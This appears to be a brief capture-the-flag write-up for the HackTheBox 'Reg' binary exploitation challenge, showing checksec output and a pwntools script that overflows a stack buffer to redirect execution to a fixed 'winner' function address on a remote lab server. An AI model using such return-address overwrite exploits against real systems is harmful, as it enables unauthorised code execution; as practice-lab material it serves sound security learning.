Reg

pwn

Intro to Binary Exploitation htb-pwn

---

Reg.zip
hackthebox

$ checksec --file=reg                              
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   80) Symbols   No    0       3       reg

Just need redirect to winner function, because the PIE is set to No PIE then the address will always be the same

from pwn import *

context.log_level = 'DEBUG'
# io = process('./reg')
url = "188.166.172.138"
port = 31220
io = remote(url, port)

# Step 0: Enumerate Binary
context(os='linux', arch='amd64')

# Step 1: Payload
addr = p64(0x0000000000401206)
payload = b'a'*0x30 + b'b'*8 + addr

# Step 2: Run
print(io.recv().decode())
io.sendline(payload)
print(io.recv().decode())